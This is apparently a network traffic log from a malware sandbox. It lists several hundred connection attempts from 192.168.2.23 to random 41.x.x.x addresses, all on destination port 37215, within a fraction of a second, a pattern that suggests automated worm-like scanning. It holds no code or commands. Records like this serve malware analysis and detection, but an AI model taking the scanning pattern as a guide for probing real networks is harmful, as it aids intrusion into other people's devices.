Feb 20, 2022 15:50:57.667068958 CET	1898	37215	192.168.2.23	41.119.133.186
Feb 20, 2022 15:50:57.667076111 CET	1898	37215	192.168.2.23	41.3.11.7
Feb 20, 2022 15:50:57.667090893 CET	1898	37215	192.168.2.23	41.75.94.215
Feb 20, 2022 15:50:57.667155027 CET	1898	37215	192.168.2.23	41.244.198.8
Feb 20, 2022 15:50:57.667155981 CET	1898	37215	192.168.2.23	41.242.92.193
Feb 20, 2022 15:50:57.667156935 CET	1898	37215	192.168.2.23	41.127.7.231
Feb 20, 2022 15:50:57.667193890 CET	1898	37215	192.168.2.23	41.105.207.5
Feb 20, 2022 15:50:57.667203903 CET	1898	37215	192.168.2.23	41.175.150.116
Feb 20, 2022 15:50:57.667238951 CET	1898	37215	192.168.2.23	41.212.212.115
Feb 20, 2022 15:50:57.667262077 CET	1898	37215	192.168.2.23	41.168.251.192
Feb 20, 2022 15:50:57.667285919 CET	1898	37215	192.168.2.23	41.227.208.122
Feb 20, 2022 15:50:57.667288065 CET	1898	37215	192.168.2.23	41.40.106.213
Feb 20, 2022 15:50:57.667310953 CET	1898	37215	192.168.2.23	41.212.111.170
Feb 20, 2022 15:50:57.667331934 CET	1898	37215	192.168.2.23	41.66.77.93
Feb 20, 2022 15:50:57.667337894 CET	1898	37215	192.168.2.23	41.18.221.188
Feb 20, 2022 15:50:57.667392969 CET	1898	37215	192.168.2.23	41.29.116.249
Feb 20, 2022 15:50:57.667398930 CET	1898	37215	192.168.2.23	41.200.75.128
Feb 20, 2022 15:50:57.667398930 CET	1898	37215	192.168.2.23	41.12.244.134
Feb 20, 2022 15:50:57.667464972 CET	1898	37215	192.168.2.23	41.226.166.16
Feb 20, 2022 15:50:57.667467117 CET	1898	37215	192.168.2.23	41.234.197.89
Feb 20, 2022 15:50:57.667480946 CET	1898	37215	192.168.2.23	41.97.244.41
Feb 20, 2022 15:50:57.667512894 CET	1898	37215	192.168.2.23	41.249.222.37
Feb 20, 2022 15:50:57.667526007 CET	1898	37215	192.168.2.23	41.245.203.157
Feb 20, 2022 15:50:57.667558908 CET	1898	37215	192.168.2.23	41.39.4.110
Feb 20, 2022 15:50:57.667558908 CET	1898	37215	192.168.2.23	41.28.124.131
Feb 20, 2022 15:50:57.667561054 CET	1898	37215	192.168.2.23	41.44.200.92
Feb 20, 2022 15:50:57.667584896 CET	1898	37215	192.168.2.23	41.99.205.138
Feb 20, 2022 15:50:57.667629957 CET	1898	37215	192.168.2.23	41.39.211.183
Feb 20, 2022 15:50:57.667650938 CET	1898	37215	192.168.2.23	41.19.188.111
Feb 20, 2022 15:50:57.667663097 CET	1898	37215	192.168.2.23	41.103.154.60
Feb 20, 2022 15:50:57.667670012 CET	1898	37215	192.168.2.23	41.6.165.110
Feb 20, 2022 15:50:57.667742014 CET	1898	37215	192.168.2.23	41.149.48.33
Feb 20, 2022 15:50:57.667754889 CET	1386	37215	192.168.2.23	41.188.190.55
Feb 20, 2022 15:50:57.667761087 CET	1898	37215	192.168.2.23	41.119.86.184
Feb 20, 2022 15:50:57.667773008 CET	1386	37215	192.168.2.23	41.35.2.74
Feb 20, 2022 15:50:57.667803049 CET	1386	37215	192.168.2.23	41.165.231.141
Feb 20, 2022 15:50:57.667843103 CET	1386	37215	192.168.2.23	41.120.9.253
Feb 20, 2022 15:50:57.667871952 CET	1386	37215	192.168.2.23	41.33.154.76
Feb 20, 2022 15:50:57.667872906 CET	1386	37215	192.168.2.23	41.252.234.251
Feb 20, 2022 15:50:57.667879105 CET	1386	37215	192.168.2.23	41.187.181.120
Feb 20, 2022 15:50:57.667910099 CET	1386	37215	192.168.2.23	41.197.89.14
Feb 20, 2022 15:50:57.667943001 CET	1386	37215	192.168.2.23	41.48.139.247
Feb 20, 2022 15:50:57.667964935 CET	1386	37215	192.168.2.23	41.242.174.218
Feb 20, 2022 15:50:57.667984962 CET	1386	37215	192.168.2.23	41.231.93.253
Feb 20, 2022 15:50:57.668000937 CET	1386	37215	192.168.2.23	41.118.44.174
Feb 20, 2022 15:50:57.668003082 CET	1386	37215	192.168.2.23	41.51.69.110
Feb 20, 2022 15:50:57.668057919 CET	1386	37215	192.168.2.23	41.220.91.164
Feb 20, 2022 15:50:57.668064117 CET	1386	37215	192.168.2.23	41.29.18.57
Feb 20, 2022 15:50:57.668077946 CET	1386	37215	192.168.2.23	41.175.18.24
Feb 20, 2022 15:50:57.668087006 CET	1386	37215	192.168.2.23	41.98.41.181
Feb 20, 2022 15:50:57.668091059 CET	1386	37215	192.168.2.23	41.235.66.134
Feb 20, 2022 15:50:57.668123960 CET	1386	37215	192.168.2.23	41.140.175.6
Feb 20, 2022 15:50:57.668154955 CET	1386	37215	192.168.2.23	41.132.189.216
Feb 20, 2022 15:50:57.668190956 CET	1386	37215	192.168.2.23	41.207.212.226
Feb 20, 2022 15:50:57.668191910 CET	1386	37215	192.168.2.23	41.135.221.123
Feb 20, 2022 15:50:57.668193102 CET	1386	37215	192.168.2.23	41.144.160.28
Feb 20, 2022 15:50:57.668226957 CET	1386	37215	192.168.2.23	41.199.15.18
Feb 20, 2022 15:50:57.668236971 CET	1386	37215	192.168.2.23	41.67.212.217
Feb 20, 2022 15:50:57.668291092 CET	1386	37215	192.168.2.23	41.235.199.130
Feb 20, 2022 15:50:57.668313026 CET	1386	37215	192.168.2.23	41.137.46.33
Feb 20, 2022 15:50:57.668329000 CET	1386	37215	192.168.2.23	41.122.91.136
Feb 20, 2022 15:50:57.668364048 CET	1386	37215	192.168.2.23	41.222.116.8
Feb 20, 2022 15:50:57.668365002 CET	1386	37215	192.168.2.23	41.145.235.171
Feb 20, 2022 15:50:57.668365955 CET	1386	37215	192.168.2.23	41.85.93.249
Feb 20, 2022 15:50:57.668387890 CET	1386	37215	192.168.2.23	41.242.117.232
Feb 20, 2022 15:50:57.668407917 CET	1386	37215	192.168.2.23	41.144.44.217
Feb 20, 2022 15:50:57.668430090 CET	1386	37215	192.168.2.23	41.164.62.157
Feb 20, 2022 15:50:57.668453932 CET	1386	37215	192.168.2.23	41.59.163.130
Feb 20, 2022 15:50:57.668498039 CET	1386	37215	192.168.2.23	41.243.56.97
Feb 20, 2022 15:50:57.668498993 CET	1386	37215	192.168.2.23	41.2.26.111
Feb 20, 2022 15:50:57.668500900 CET	1386	37215	192.168.2.23	41.203.51.225
Feb 20, 2022 15:50:57.668554068 CET	1386	37215	192.168.2.23	41.253.10.252
Feb 20, 2022 15:50:57.668577909 CET	1386	37215	192.168.2.23	41.235.0.252
Feb 20, 2022 15:50:57.668589115 CET	1386	37215	192.168.2.23	41.217.109.156
Feb 20, 2022 15:50:57.668590069 CET	1386	37215	192.168.2.23	41.164.225.23
Feb 20, 2022 15:50:57.668600082 CET	1386	37215	192.168.2.23	41.187.182.171
Feb 20, 2022 15:50:57.668636084 CET	1386	37215	192.168.2.23	41.38.231.97
Feb 20, 2022 15:50:57.668670893 CET	1386	37215	192.168.2.23	41.183.242.90
Feb 20, 2022 15:50:57.668685913 CET	1386	37215	192.168.2.23	41.35.173.222
Feb 20, 2022 15:50:57.668737888 CET	1386	37215	192.168.2.23	41.252.54.109
Feb 20, 2022 15:50:57.668760061 CET	1386	37215	192.168.2.23	41.152.206.226
Feb 20, 2022 15:50:57.668764114 CET	1386	37215	192.168.2.23	41.134.178.132
Feb 20, 2022 15:50:57.668766975 CET	1386	37215	192.168.2.23	41.185.211.139
Feb 20, 2022 15:50:57.668775082 CET	1386	37215	192.168.2.23	41.77.25.31
Feb 20, 2022 15:50:57.668843031 CET	1386	37215	192.168.2.23	41.212.234.162
Feb 20, 2022 15:50:57.668860912 CET	1386	37215	192.168.2.23	41.161.222.84
Feb 20, 2022 15:50:57.668864012 CET	1386	37215	192.168.2.23	41.100.250.64
Feb 20, 2022 15:50:57.668872118 CET	1386	37215	192.168.2.23	41.29.223.211
Feb 20, 2022 15:50:57.668885946 CET	1386	37215	192.168.2.23	41.16.139.141
Feb 20, 2022 15:50:57.668967009 CET	1386	37215	192.168.2.23	41.30.50.122
Feb 20, 2022 15:50:57.668970108 CET	1386	37215	192.168.2.23	41.61.3.115
Feb 20, 2022 15:50:57.668992043 CET	1386	37215	192.168.2.23	41.43.72.84
Feb 20, 2022 15:50:57.668998957 CET	1386	37215	192.168.2.23	41.229.215.215
Feb 20, 2022 15:50:57.669037104 CET	1386	37215	192.168.2.23	41.42.77.153
Feb 20, 2022 15:50:57.669070005 CET	1386	37215	192.168.2.23	41.164.175.148
Feb 20, 2022 15:50:57.669070959 CET	1386	37215	192.168.2.23	41.232.51.9
Feb 20, 2022 15:50:57.669090986 CET	1386	37215	192.168.2.23	41.226.205.70
Feb 20, 2022 15:50:57.669106007 CET	1386	37215	192.168.2.23	41.7.209.58
Feb 20, 2022 15:50:57.669154882 CET	1386	37215	192.168.2.23	41.35.33.17
Feb 20, 2022 15:50:57.669158936 CET	1386	37215	192.168.2.23	41.145.146.225
Feb 20, 2022 15:50:57.669161081 CET	1386	37215	192.168.2.23	41.82.13.179
Feb 20, 2022 15:50:57.669176102 CET	1386	37215	192.168.2.23	41.168.29.7
Feb 20, 2022 15:50:57.669245005 CET	1386	37215	192.168.2.23	41.149.56.107
Feb 20, 2022 15:50:57.669245005 CET	1386	37215	192.168.2.23	41.212.244.187
Feb 20, 2022 15:50:57.669254065 CET	1386	37215	192.168.2.23	41.89.231.166
Feb 20, 2022 15:50:57.669266939 CET	1386	37215	192.168.2.23	41.89.55.192
Feb 20, 2022 15:50:57.669318914 CET	1386	37215	192.168.2.23	41.17.172.193
Feb 20, 2022 15:50:57.669344902 CET	1386	37215	192.168.2.23	41.227.105.184
Feb 20, 2022 15:50:57.669347048 CET	1386	37215	192.168.2.23	41.53.231.146
Feb 20, 2022 15:50:57.669358015 CET	1386	37215	192.168.2.23	41.88.125.159
Feb 20, 2022 15:50:57.669358969 CET	1386	37215	192.168.2.23	41.47.254.49
Feb 20, 2022 15:50:57.669423103 CET	1386	37215	192.168.2.23	41.197.86.169
Feb 20, 2022 15:50:57.669425011 CET	1386	37215	192.168.2.23	41.174.227.41
Feb 20, 2022 15:50:57.669446945 CET	1386	37215	192.168.2.23	41.255.26.112
Feb 20, 2022 15:50:57.669452906 CET	1386	37215	192.168.2.23	41.181.10.147
Feb 20, 2022 15:50:57.669497967 CET	1386	37215	192.168.2.23	41.164.87.14
Feb 20, 2022 15:50:57.669501066 CET	1386	37215	192.168.2.23	41.161.198.184
Feb 20, 2022 15:50:57.669511080 CET	1386	37215	192.168.2.23	41.178.185.238
Feb 20, 2022 15:50:57.669516087 CET	1386	37215	192.168.2.23	41.115.201.190
Feb 20, 2022 15:50:57.669548035 CET	1386	37215	192.168.2.23	41.229.5.156
Feb 20, 2022 15:50:57.669590950 CET	1386	37215	192.168.2.23	41.25.107.115
Feb 20, 2022 15:50:57.669610977 CET	1386	37215	192.168.2.23	41.80.116.41
Feb 20, 2022 15:50:57.669616938 CET	1386	37215	192.168.2.23	41.57.78.14
Feb 20, 2022 15:50:57.669620037 CET	1386	37215	192.168.2.23	41.182.79.202
Feb 20, 2022 15:50:57.669678926 CET	1386	37215	192.168.2.23	41.166.121.156
Feb 20, 2022 15:50:57.669698954 CET	1386	37215	192.168.2.23	41.14.108.121
Feb 20, 2022 15:50:57.669730902 CET	1386	37215	192.168.2.23	41.29.165.234
Feb 20, 2022 15:50:57.669745922 CET	1386	37215	192.168.2.23	41.184.19.157
Feb 20, 2022 15:50:57.669747114 CET	1386	37215	192.168.2.23	41.153.121.210
Feb 20, 2022 15:50:57.669759989 CET	1386	37215	192.168.2.23	41.145.78.174
Feb 20, 2022 15:50:57.669797897 CET	1386	37215	192.168.2.23	41.121.5.175
Feb 20, 2022 15:50:57.669819117 CET	1386	37215	192.168.2.23	41.76.146.147
Feb 20, 2022 15:50:57.669851065 CET	1386	37215	192.168.2.23	41.10.201.39
Feb 20, 2022 15:50:57.669872999 CET	1386	37215	192.168.2.23	41.42.149.21
Feb 20, 2022 15:50:57.669878960 CET	1386	37215	192.168.2.23	41.97.213.76
Feb 20, 2022 15:50:57.669879913 CET	1386	37215	192.168.2.23	41.40.134.37
Feb 20, 2022 15:50:57.669924021 CET	1386	37215	192.168.2.23	41.206.213.159
Feb 20, 2022 15:50:57.669925928 CET	1386	37215	192.168.2.23	41.50.64.238
Feb 20, 2022 15:50:57.669929028 CET	1386	37215	192.168.2.23	41.126.133.7
Feb 20, 2022 15:50:57.669935942 CET	1386	37215	192.168.2.23	41.22.75.210
Feb 20, 2022 15:50:57.669991016 CET	1386	37215	192.168.2.23	41.112.186.178
Feb 20, 2022 15:50:57.670016050 CET	1386	37215	192.168.2.23	41.156.52.168
Feb 20, 2022 15:50:57.670037031 CET	1386	37215	192.168.2.23	41.153.16.192
Feb 20, 2022 15:50:57.670056105 CET	1386	37215	192.168.2.23	41.195.108.240
Feb 20, 2022 15:50:57.670080900 CET	1386	37215	192.168.2.23	41.243.190.91
Feb 20, 2022 15:50:57.670098066 CET	1386	37215	192.168.2.23	41.137.144.131
Feb 20, 2022 15:50:57.670109987 CET	1386	37215	192.168.2.23	41.227.76.127
Feb 20, 2022 15:50:57.670123100 CET	1386	37215	192.168.2.23	41.229.212.152
Feb 20, 2022 15:50:57.670128107 CET	1386	37215	192.168.2.23	41.176.185.56
Feb 20, 2022 15:50:57.670196056 CET	1386	37215	192.168.2.23	41.39.51.168
Feb 20, 2022 15:50:57.670197010 CET	1386	37215	192.168.2.23	41.206.121.152
Feb 20, 2022 15:50:57.670198917 CET	1386	37215	192.168.2.23	41.196.248.110
Feb 20, 2022 15:50:57.670226097 CET	1386	37215	192.168.2.23	41.83.160.230
Feb 20, 2022 15:50:57.670273066 CET	1386	37215	192.168.2.23	41.195.240.72
Feb 20, 2022 15:50:57.670275927 CET	1386	37215	192.168.2.23	41.207.114.63
Feb 20, 2022 15:50:57.670275927 CET	1386	37215	192.168.2.23	41.114.137.208
Feb 20, 2022 15:50:57.670283079 CET	1386	37215	192.168.2.23	41.191.115.232
Feb 20, 2022 15:50:57.670305967 CET	1386	37215	192.168.2.23	41.124.94.209
Feb 20, 2022 15:50:57.670341969 CET	1386	37215	192.168.2.23	41.226.124.119
Feb 20, 2022 15:50:57.670358896 CET	1386	37215	192.168.2.23	41.206.100.144
Feb 20, 2022 15:50:57.670397997 CET	1386	37215	192.168.2.23	41.23.192.225
Feb 20, 2022 15:50:57.670419931 CET	1386	37215	192.168.2.23	41.49.62.162
Feb 20, 2022 15:50:57.670456886 CET	1386	37215	192.168.2.23	41.54.69.211
Feb 20, 2022 15:50:57.670480967 CET	1386	37215	192.168.2.23	41.55.83.247
Feb 20, 2022 15:50:57.670506954 CET	1386	37215	192.168.2.23	41.228.125.60
Feb 20, 2022 15:50:57.670507908 CET	1386	37215	192.168.2.23	41.220.121.17
Feb 20, 2022 15:50:57.670511961 CET	1386	37215	192.168.2.23	41.242.176.190
Feb 20, 2022 15:50:57.670578957 CET	1386	37215	192.168.2.23	41.194.243.17
Feb 20, 2022 15:50:57.670579910 CET	1386	37215	192.168.2.23	41.126.62.246
Feb 20, 2022 15:50:57.670602083 CET	1386	37215	192.168.2.23	41.103.229.182
Feb 20, 2022 15:50:57.670628071 CET	1386	37215	192.168.2.23	41.209.200.9
Feb 20, 2022 15:50:57.670633078 CET	1386	37215	192.168.2.23	41.148.125.202
Feb 20, 2022 15:50:57.670644999 CET	1386	37215	192.168.2.23	41.152.162.91
Feb 20, 2022 15:50:57.670649052 CET	1386	37215	192.168.2.23	41.217.189.35
Feb 20, 2022 15:50:57.670717001 CET	1386	37215	192.168.2.23	41.201.71.198
Feb 20, 2022 15:50:57.670737982 CET	1386	37215	192.168.2.23	41.233.21.232
Feb 20, 2022 15:50:57.670742035 CET	1386	37215	192.168.2.23	41.228.155.4
Feb 20, 2022 15:50:57.670746088 CET	1386	37215	192.168.2.23	41.197.244.248
Feb 20, 2022 15:50:57.670753956 CET	1386	37215	192.168.2.23	41.4.111.58
Feb 20, 2022 15:50:57.670793056 CET	1386	37215	192.168.2.23	41.13.191.185
Feb 20, 2022 15:50:57.670816898 CET	1386	37215	192.168.2.23	41.43.250.212
Feb 20, 2022 15:50:57.670825958 CET	1386	37215	192.168.2.23	41.142.159.128
Feb 20, 2022 15:50:57.670882940 CET	1386	37215	192.168.2.23	41.73.133.112
Feb 20, 2022 15:50:57.670913935 CET	1386	37215	192.168.2.23	41.209.132.123
Feb 20, 2022 15:50:57.670914888 CET	1386	37215	192.168.2.23	41.249.186.169
Feb 20, 2022 15:50:57.670914888 CET	1386	37215	192.168.2.23	41.250.180.147
Feb 20, 2022 15:50:57.670958042 CET	1386	37215	192.168.2.23	41.245.107.35
Feb 20, 2022 15:50:57.670969963 CET	1386	37215	192.168.2.23	41.155.41.19
Feb 20, 2022 15:50:57.670983076 CET	1386	37215	192.168.2.23	41.95.113.249
Feb 20, 2022 15:50:57.671004057 CET	1386	37215	192.168.2.23	41.231.15.4
Feb 20, 2022 15:50:57.671010017 CET	1386	37215	192.168.2.23	41.2.113.182
Feb 20, 2022 15:50:57.671039104 CET	1386	37215	192.168.2.23	41.107.196.20
Feb 20, 2022 15:50:57.671097994 CET	1386	37215	192.168.2.23	41.52.96.216
Feb 20, 2022 15:50:57.671098948 CET	1386	37215	192.168.2.23	41.215.217.234
Feb 20, 2022 15:50:57.671097994 CET	1386	37215	192.168.2.23	41.30.37.32
Feb 20, 2022 15:50:57.671113968 CET	1386	37215	192.168.2.23	41.71.118.8
Feb 20, 2022 15:50:57.671132088 CET	1386	37215	192.168.2.23	41.242.161.70
Feb 20, 2022 15:50:57.671197891 CET	1386	37215	192.168.2.23	41.243.70.121
Feb 20, 2022 15:50:57.671199083 CET	1386	37215	192.168.2.23	41.185.14.73
Feb 20, 2022 15:50:57.671200037 CET	1386	37215	192.168.2.23	41.25.247.86
Feb 20, 2022 15:50:57.671242952 CET	1386	37215	192.168.2.23	41.93.100.104
Feb 20, 2022 15:50:57.671258926 CET	1386	37215	192.168.2.23	41.134.171.142
Feb 20, 2022 15:50:57.671287060 CET	1386	37215	192.168.2.23	41.206.55.155
Feb 20, 2022 15:50:57.671292067 CET	1386	37215	192.168.2.23	41.176.214.237
Feb 20, 2022 15:50:57.671293974 CET	1386	37215	192.168.2.23	41.134.15.174
Feb 20, 2022 15:50:57.671334028 CET	1386	37215	192.168.2.23	41.70.45.204
Feb 20, 2022 15:50:57.671355009 CET	1386	37215	192.168.2.23	41.126.95.75
Feb 20, 2022 15:50:57.671406031 CET	1386	37215	192.168.2.23	41.168.200.163
Feb 20, 2022 15:50:57.671427965 CET	1386	37215	192.168.2.23	41.42.183.209
Feb 20, 2022 15:50:57.671431065 CET	1386	37215	192.168.2.23	41.57.185.159
Feb 20, 2022 15:50:57.671446085 CET	1386	37215	192.168.2.23	41.65.62.149
Feb 20, 2022 15:50:57.671467066 CET	1386	37215	192.168.2.23	41.56.95.196
Feb 20, 2022 15:50:57.671497107 CET	1386	37215	192.168.2.23	41.131.156.12
Feb 20, 2022 15:50:57.671528101 CET	1386	37215	192.168.2.23	41.47.134.226
Feb 20, 2022 15:50:57.671530008 CET	1386	37215	192.168.2.23	41.124.46.58
Feb 20, 2022 15:50:57.671535969 CET	1386	37215	192.168.2.23	41.67.225.170
Feb 20, 2022 15:50:57.671571016 CET	1386	37215	192.168.2.23	41.173.135.213
Feb 20, 2022 15:50:57.671616077 CET	1386	37215	192.168.2.23	41.219.63.100
Feb 20, 2022 15:50:57.671618938 CET	1386	37215	192.168.2.23	41.104.12.136
Feb 20, 2022 15:50:57.671637058 CET	1386	37215	192.168.2.23	41.79.32.228
Feb 20, 2022 15:50:57.671668053 CET	1386	37215	192.168.2.23	41.59.185.128
Feb 20, 2022 15:50:57.671675920 CET	1386	37215	192.168.2.23	41.168.57.62
Feb 20, 2022 15:50:57.671678066 CET	1386	37215	192.168.2.23	41.162.245.245
Feb 20, 2022 15:50:57.671739101 CET	1386	37215	192.168.2.23	41.40.185.159
Feb 20, 2022 15:50:57.671772957 CET	1386	37215	192.168.2.23	41.78.209.146
Feb 20, 2022 15:50:57.671802044 CET	1386	37215	192.168.2.23	41.208.213.222
Feb 20, 2022 15:50:57.671823025 CET	1386	37215	192.168.2.23	41.130.208.130
Feb 20, 2022 15:50:57.671825886 CET	1386	37215	192.168.2.23	41.44.120.186
Feb 20, 2022 15:50:57.671838999 CET	1386	37215	192.168.2.23	41.230.105.19
Feb 20, 2022 15:50:57.671860933 CET	1386	37215	192.168.2.23	41.93.216.88
Feb 20, 2022 15:50:57.671916962 CET	1386	37215	192.168.2.23	41.158.150.51
Feb 20, 2022 15:50:57.671917915 CET	1386	37215	192.168.2.23	41.92.174.29
Feb 20, 2022 15:50:57.671917915 CET	1386	37215	192.168.2.23	41.220.22.169
Feb 20, 2022 15:50:57.671952963 CET	1386	37215	192.168.2.23	41.160.37.134
Feb 20, 2022 15:50:57.671973944 CET	1386	37215	192.168.2.23	41.89.107.112
Feb 20, 2022 15:50:57.672005892 CET	1386	37215	192.168.2.23	41.94.130.99
Feb 20, 2022 15:50:57.672008991 CET	1386	37215	192.168.2.23	41.236.255.26
Feb 20, 2022 15:50:57.672013998 CET	1386	37215	192.168.2.23	41.117.12.18
Feb 20, 2022 15:50:57.672024965 CET	1386	37215	192.168.2.23	41.186.120.232
Feb 20, 2022 15:50:57.672054052 CET	1386	37215	192.168.2.23	41.230.92.229
Feb 20, 2022 15:50:57.672111034 CET	1386	37215	192.168.2.23	41.76.152.79
Feb 20, 2022 15:50:57.672138929 CET	1386	37215	192.168.2.23	41.122.180.8
Feb 20, 2022 15:50:57.672180891 CET	1386	37215	192.168.2.23	41.160.153.97
Feb 20, 2022 15:50:57.672184944 CET	1386	37215	192.168.2.23	41.149.12.185
Feb 20, 2022 15:50:57.672188044 CET	1386	37215	192.168.2.23	41.72.135.49
Feb 20, 2022 15:50:57.672200918 CET	1386	37215	192.168.2.23	41.224.85.5
Feb 20, 2022 15:50:57.672223091 CET	1386	37215	192.168.2.23	41.74.197.240
Feb 20, 2022 15:50:57.672254086 CET	1386	37215	192.168.2.23	41.134.82.165
Feb 20, 2022 15:50:57.672276020 CET	1386	37215	192.168.2.23	41.117.31.138
Feb 20, 2022 15:50:57.672295094 CET	1386	37215	192.168.2.23	41.22.151.241
Feb 20, 2022 15:50:57.672341108 CET	1386	37215	192.168.2.23	41.170.79.202
Feb 20, 2022 15:50:57.672358990 CET	1386	37215	192.168.2.23	41.80.126.171
Feb 20, 2022 15:50:57.672388077 CET	1386	37215	192.168.2.23	41.140.30.20
Feb 20, 2022 15:50:57.672389984 CET	1386	37215	192.168.2.23	41.59.150.82
Feb 20, 2022 15:50:57.672419071 CET	1386	37215	192.168.2.23	41.142.227.136
Feb 20, 2022 15:50:57.672441959 CET	1386	37215	192.168.2.23	41.40.175.234
Feb 20, 2022 15:50:57.672446012 CET	1386	37215	192.168.2.23	41.169.231.5
Feb 20, 2022 15:50:57.672451973 CET	1386	37215	192.168.2.23	41.253.194.188
Feb 20, 2022 15:50:57.672491074 CET	1386	37215	192.168.2.23	41.191.120.194
Feb 20, 2022 15:50:57.672519922 CET	1386	37215	192.168.2.23	41.179.59.6
Feb 20, 2022 15:50:57.672523022 CET	1386	37215	192.168.2.23	41.163.221.187
Feb 20, 2022 15:50:57.672524929 CET	1386	37215	192.168.2.23	41.249.115.116
Feb 20, 2022 15:50:57.672535896 CET	1386	37215	192.168.2.23	41.190.12.68
Feb 20, 2022 15:50:57.672544956 CET	1386	37215	192.168.2.23	41.177.5.156
Feb 20, 2022 15:50:57.672584057 CET	1386	37215	192.168.2.23	41.246.130.152
Feb 20, 2022 15:50:57.672606945 CET	1386	37215	192.168.2.23	41.162.97.21
Feb 20, 2022 15:50:57.672653913 CET	1386	37215	192.168.2.23	41.235.93.115
Feb 20, 2022 15:50:57.672657013 CET	1386	37215	192.168.2.23	41.60.91.196
Feb 20, 2022 15:50:57.672666073 CET	1386	37215	192.168.2.23	41.8.36.29
Feb 20, 2022 15:50:57.672668934 CET	1386	37215	192.168.2.23	41.106.60.35
Feb 20, 2022 15:50:57.672700882 CET	1386	37215	192.168.2.23	41.86.61.92
Feb 20, 2022 15:50:57.672754049 CET	1386	37215	192.168.2.23	41.194.226.147
Feb 20, 2022 15:50:57.672771931 CET	1386	37215	192.168.2.23	41.72.148.67
Feb 20, 2022 15:50:57.672837973 CET	1386	37215	192.168.2.23	41.117.217.57
Feb 20, 2022 15:50:57.672853947 CET	1386	37215	192.168.2.23	41.33.193.4
Feb 20, 2022 15:50:57.672864914 CET	1386	37215	192.168.2.23	41.17.56.28
Feb 20, 2022 15:50:57.672868013 CET	1386	37215	192.168.2.23	41.113.207.116
Feb 20, 2022 15:50:57.672877073 CET	1386	37215	192.168.2.23	41.92.13.35
Feb 20, 2022 15:50:57.672924995 CET	1386	37215	192.168.2.23	41.180.243.125
Feb 20, 2022 15:50:57.672950983 CET	1386	37215	192.168.2.23	41.212.235.26
Feb 20, 2022 15:50:57.672965050 CET	1386	37215	192.168.2.23	41.179.175.224
Feb 20, 2022 15:50:57.672998905 CET	1386	37215	192.168.2.23	41.68.180.231
Feb 20, 2022 15:50:57.672998905 CET	1386	37215	192.168.2.23	41.182.173.217
Feb 20, 2022 15:50:57.673012018 CET	1386	37215	192.168.2.23	41.105.97.34
Feb 20, 2022 15:50:57.673022032 CET	1386	37215	192.168.2.23	41.129.197.144
Feb 20, 2022 15:50:57.673084021 CET	1386	37215	192.168.2.23	41.175.36.120
Feb 20, 2022 15:50:57.673096895 CET	1386	37215	192.168.2.23	41.98.239.133
Feb 20, 2022 15:50:57.673105955 CET	1386	37215	192.168.2.23	41.247.188.174
Feb 20, 2022 15:50:57.673150063 CET	1386	37215	192.168.2.23	41.168.211.119
Feb 20, 2022 15:50:57.673157930 CET	1386	37215	192.168.2.23	41.58.155.133
Feb 20, 2022 15:50:57.673171043 CET	1386	37215	192.168.2.23	41.231.15.32
Feb 20, 2022 15:50:57.673176050 CET	1386	37215	192.168.2.23	41.195.197.3
Feb 20, 2022 15:50:57.673230886 CET	1386	37215	192.168.2.23	41.231.211.69
Feb 20, 2022 15:50:57.673232079 CET	1386	37215	192.168.2.23	41.115.233.241
Feb 20, 2022 15:50:57.673248053 CET	1386	37215	192.168.2.23	41.60.228.238
Feb 20, 2022 15:50:57.673283100 CET	1386	37215	192.168.2.23	41.87.17.129
Feb 20, 2022 15:50:57.673296928 CET	1386	37215	192.168.2.23	41.168.155.127
Feb 20, 2022 15:50:57.673314095 CET	1386	37215	192.168.2.23	41.159.4.3
Feb 20, 2022 15:50:57.673325062 CET	1386	37215	192.168.2.23	41.218.173.224
Feb 20, 2022 15:50:57.673369884 CET	1386	37215	192.168.2.23	41.129.85.228
Feb 20, 2022 15:50:57.673373938 CET	1386	37215	192.168.2.23	41.81.169.53
Feb 20, 2022 15:50:57.673374891 CET	1386	37215	192.168.2.23	41.207.84.70
Feb 20, 2022 15:50:57.673415899 CET	1386	37215	192.168.2.23	41.162.71.74
Feb 20, 2022 15:50:57.673480034 CET	1386	37215	192.168.2.23	41.254.34.70
Feb 20, 2022 15:50:57.673480988 CET	1386	37215	192.168.2.23	41.162.187.60
Feb 20, 2022 15:50:57.673513889 CET	1386	37215	192.168.2.23	41.131.94.129
Feb 20, 2022 15:50:57.673527002 CET	1386	37215	192.168.2.23	41.112.238.253
Feb 20, 2022 15:50:57.673553944 CET	1386	37215	192.168.2.23	41.245.161.77
Feb 20, 2022 15:50:57.673580885 CET	1386	37215	192.168.2.23	41.165.135.94
Feb 20, 2022 15:50:57.673588037 CET	1386	37215	192.168.2.23	41.220.37.96
Feb 20, 2022 15:50:57.673588991 CET	1386	37215	192.168.2.23	41.51.49.24
Feb 20, 2022 15:50:57.673615932 CET	1386	37215	192.168.2.23	41.229.182.146
Feb 20, 2022 15:50:57.673650026 CET	1386	37215	192.168.2.23	41.251.15.167
Feb 20, 2022 15:50:57.673659086 CET	1386	37215	192.168.2.23	41.85.197.10
Feb 20, 2022 15:50:57.673666954 CET	1386	37215	192.168.2.23	41.170.0.165
Feb 20, 2022 15:50:57.673693895 CET	1386	37215	192.168.2.23	41.75.129.215
Feb 20, 2022 15:50:57.673753023 CET	1386	37215	192.168.2.23	41.98.70.178
Feb 20, 2022 15:50:57.673779011 CET	1386	37215	192.168.2.23	41.79.219.57
Feb 20, 2022 15:50:57.673780918 CET	1386	37215	192.168.2.23	41.232.36.81
Feb 20, 2022 15:50:57.673815012 CET	1386	37215	192.168.2.23	41.48.213.102
Feb 20, 2022 15:50:57.673831940 CET	1386	37215	192.168.2.23	41.151.2.86
Feb 20, 2022 15:50:57.673842907 CET	1386	37215	192.168.2.23	41.82.157.144
Feb 20, 2022 15:50:57.673872948 CET	1386	37215	192.168.2.23	41.201.197.132
Feb 20, 2022 15:50:57.673878908 CET	1386	37215	192.168.2.23	41.38.51.154
Feb 20, 2022 15:50:57.673880100 CET	1386	37215	192.168.2.23	41.138.123.174
Feb 20, 2022 15:50:57.673892975 CET	1386	37215	192.168.2.23	41.254.31.156
Feb 20, 2022 15:50:57.673911095 CET	1386	37215	192.168.2.23	41.186.100.53
Feb 20, 2022 15:50:57.673933983 CET	1386	37215	192.168.2.23	41.189.195.185
Feb 20, 2022 15:50:57.673974037 CET	1386	37215	192.168.2.23	41.6.180.7
Feb 20, 2022 15:50:57.674015045 CET	1386	37215	192.168.2.23	41.92.174.33
Feb 20, 2022 15:50:57.674019098 CET	1386	37215	192.168.2.23	41.26.164.23
Feb 20, 2022 15:50:57.674021959 CET	1386	37215	192.168.2.23	41.244.165.229
Feb 20, 2022 15:50:57.674086094 CET	1386	37215	192.168.2.23	41.6.31.202
